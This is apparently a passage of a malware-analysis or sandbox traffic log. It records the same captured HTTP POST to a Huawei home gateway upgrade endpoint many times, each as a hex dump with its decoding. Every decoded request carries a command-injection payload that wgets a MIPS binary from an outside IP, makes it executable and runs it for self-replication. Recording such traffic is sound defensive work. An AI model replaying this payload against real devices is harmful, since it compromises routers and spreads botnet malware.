70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data 